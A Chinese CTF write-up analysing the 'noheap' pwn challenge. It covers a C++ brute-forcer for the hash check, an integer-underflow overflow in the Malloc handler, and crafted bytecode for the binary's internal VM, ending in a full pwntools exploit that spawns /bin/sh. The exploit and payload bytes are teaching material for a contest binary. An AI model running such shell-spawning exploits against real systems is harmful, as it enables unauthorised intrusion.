-
-
[原创]CTF2018第六题分析(qwertyaa)
-
2018-6-26 18:53 4052
-
通过验证
启动程序,首先给你一个串的hash,要你输入对应的串(这个串由获取自/dev/urandom
的随机字节生成)。
这里随机产生的串一共有43^4种可能,这个数字不大,可以进行暴力枚举,将得到的串的hash与给出hash比对,如果相同就可认为暴力产生的串是这个hash所对应的原串。
这里我用C++来暴力:
#include <cstdio> using namespace std; typedef unsigned int uint; typedef unsigned char uchar; uint getHash(uchar *a1, int a2) { unsigned char *v2; // rax int v4; // [rsp+0h] [rbp-1Ch] unsigned char *v5; // [rsp+4h] [rbp-18h] unsigned int v6; // [rsp+14h] [rbp-8h] v5 = a1; v4 = a2; v6 = 0; do { v2 = v5++; v6 = 131 * v6 + *v2; --v4; } while ( v4 > 0 ); return v6; } int main(){ uint d; scanf("%x",&d); uint buf[3]; buf[2]=0; for(int i=0;i<0x2b;i++){ uint v2 = i + 48; for(int j=0;j<0x2b;j++){ uint v3 = (v2 << 8) + j + 48; for(int k=0;k<0x2b;k++){ uint v4 = (v3 << 8) + k + 48; for(int l=0;l<0x2b;l++){ uint v5 = (v4 << 8) + l + 48; buf[0]=v5 = 214013 * v5 + 2531011; buf[1]=v5 = 214013 * v5 + 2531011; if(d==getHash((uchar*)buf, 8)){ puts((char*)buf); } } } } } puts("aa"); return 0; }
寻找漏洞
输入正确串后,我们发现其提供了Malloc、Show、Free、Exit四个功能,这令人联想到去年的几个pwn,但事实上正如题目名称所言,这道题和在heap中申请内存无关(noheap)。
我们跟踪程序,发现程序中有这样的内容:
v1 = qword_2030C0[~((unsigned __int8)v3 - 1LL) - 7] ^ qword_2030C0[~((unsigned __int8)v3 - 1LL) - 2]; v2 = qword_2030C0[-11] ^ qword_2030C0[-6]; JUMPOUT(__CS__, qword_2030C0[-7] ^ qword_2030C0[-12]);
这里的几个全局变量在.init_array处已经初始化:
unsigned __int64 sub_CB5() { signed int i; // [rsp+8h] [rbp-28h] int fd; // [rsp+Ch] [rbp-24h] unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); fd = open("/dev/urandom", 0); for ( i = 0; i <= 4; ++i ) read(fd, (char *)qword_2030C0 - 64LL - 8 * i, 8uLL); unk_2030A8 = unk_203080 ^ (unsigned __int64)sub_15E4; unk_2030A0 = unk_203078 ^ (unsigned __int64)sub_16AD; unk_203098 = unk_203070 ^ (unsigned __int64)sub_1728; unk_203090 = unk_203068 ^ (unsigned __int64)&loc_1478; unk_203088 = unk_203060 ^ (unsigned __int64)sub_1107; qword_203140 = 73750906387235585LL; qword_203148 = 4611710289321202697LL; dword_203150 = 0; word_203154 = 0; byte_203156 = 0; close(fd); return __readfsqword(0x28u) ^ v3; }
我们发现这里的几个值其实都是一些指向函数的常指针经/dev/urandom
产生的随机串异或加密得来,并且在sub_1470
处会自动解密。
接下来代码跳转到sub_1107,这里有点难分析,但既然知道这几个操作必然和malloc
,free
,wrtie
有关,直接从这些函数处用Xref倒着来,我们就可以找到相关函数了。
正如刚才所言free
处的代码似乎没什么问题,于是把关键放在malloc
处:
unsigned int sub_15E4() { unsigned int result; // eax __int64 n; // ST28_8 __int64 v2; // [rsp+18h] [rbp-18h] void *dest; // [rsp+20h] [rbp-10h] printf("Size :"); result = sub_1547(); v2 = result; if ( result <= 0x80uLL ) { dest = malloc(result); if ( dest ) { printf("Content :"); n = sub_14F0(qword_2030C0, (unsigned __int8)(v2 - 1)); memcpy(dest, qword_2030C0, n); qword_203240[0] = dest; result = (unsigned __int64)qword_203240; qword_203240[1] = v2; } else { result = puts("error."); } } return result; }
这里的(unsigned __int8)(v2 - 1)
造成了一个漏洞,如果我们键入的Size是0,显然,这里会读入0xff个字符,这超过了全局变量qword_2030C0的大小,我们可以借此修改qword_203140处的内容。
分析简单VM
qword_203140处的内容在.init_array处被初始化,这些部分内容有什么作用呢?排除其他函数后我们回到了sub_1107,而这个函数直接F5很难分析,不过既然是相对熟悉的x86_64代码,我们可以直接动态跟踪。
这里是一个Switch-Case结构,很容易让人想到这里其实是一个VM,而事实上我们可以发现qword_203140就是所执行的VM Code。
动态分析可知各个用到的指令的作用:
其中code为指向VM Code开头的指针;table为指向rbp-40的指针,也就是说我们可以传入64位值和访问stack中一部分内容。
以及整段代码的含义:
01 03
13 sub_1107
01 0f
04 get 40
06 get sub_1107+0x40
01 09
14 table[-9]=lastval
01 02
13 sub_OpById
16
这里到0x14前主要就是将接下来跳转到函数内时的[rsp]改为sub_1107+0x40。
0x14后主要就是跳转到 sub_OpById(即sub_1470中指定的v1)。
主要进行的就是如下两个操作:将栈中一个元素改为另一个元素+x(x可为任意64位值)和跳转到栈中指定元素。我们可以由此构造VM Code。
构造VM Code
在Malloc处的"Content"中输入"a"*0x80后可输入如下的VM Code(下面的[rsp]为接下来跳转时的[rsp]):
'\x01\x0e\x13\x01\x24\x04\x06\x01\x08\x14'#将[rsp]+0x8改为system所在地址 +'\x01\x0e\x13\x01\x2c\x04\x06\x01\x09\x14'#将[rsp]改为指向/bin/sh的地址 +'\x01\x0e\x13\x01\x34\x04\x06\x01\x02\x14\x01\x02\x13\x16\x00\x00'#跳转到 pop rdi;retn +p64(0xFFFFFFFFFFC7EC10)#上述指令用到的64位值 +p64(0xFFFFFFFFFFDC65D7) +p64(0xFFFFFFFFFFC5A982) +"\x00"
其他注意点
- 由于程序调用了
alarm
,所以经常会有调试到一半被中断的情况。为了便于调试,我们可以跳过此调用。 - 由于shellcode中的地址由栈中其他地址生成,而其中一些栈中地址是残留的库函数局部变量,所以一定要在版本相同的库中进行调试。(而我相同版本的只有WSL,又不想安装新虚拟机,而WSL似乎不支持ida,最后我用上了gdb手动查看stack中的内容...)
- 可用
socat tcp-l:9999,fork exec:./noheap
来模拟远程的连接。 - 本题的flag中有回车符,复制到chrome、edge、firefox等浏览器时这个回车会被自动转换为空格,含空格的这个串是正确的flag;但是对于IE,复制到文本框时会自动截断回车及后面的内容,从而提交一个错误的flag。
完整exp如下(其中的./test为前面的C++程序编译后的可执行文件):
#!/usr/bin/env python from pwn import * import sys context.arch = 'amd64' if len(sys.argv) < 2: context.log_level = 'debug' p = process('./noheap') else: p = remote(sys.argv[1], int(sys.argv[2])) def exp(): z=p.recvuntil('Input:') val=int(z[z.find("Hash:")+5:z.find("Hash:")+5+8],16) log.info(hex(val)) aa=process('./test') aa.sendline(hex(val)) p.send(aa.recvline()) aa.recvline() p.recvuntil(">>") p.send("1") p.recvuntil("Size :") p.send("0") p.recvuntil("Content :") code="a"*0x80+'\x01\x0e\x13\x01\x24\x04\x06\x01\x08\x14'+'\x01\x0e\x13\x01\x2c\x04\x06\x01\x09\x14'+'\x01\x0e\x13\x01\x34\x04\x06\x01\x02\x14\x01\x02\x13\x16\x00\x00'+p64(0xFFFFFFFFFFC7EC10)+p64(0xFFFFFFFFFFDC65D7)+p64(0xFFFFFFFFFFC5A982)+"\x00" p.send(code) p.recvuntil(">>") p.send("1") p.interactive() if __name__ == '__main__': exp()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课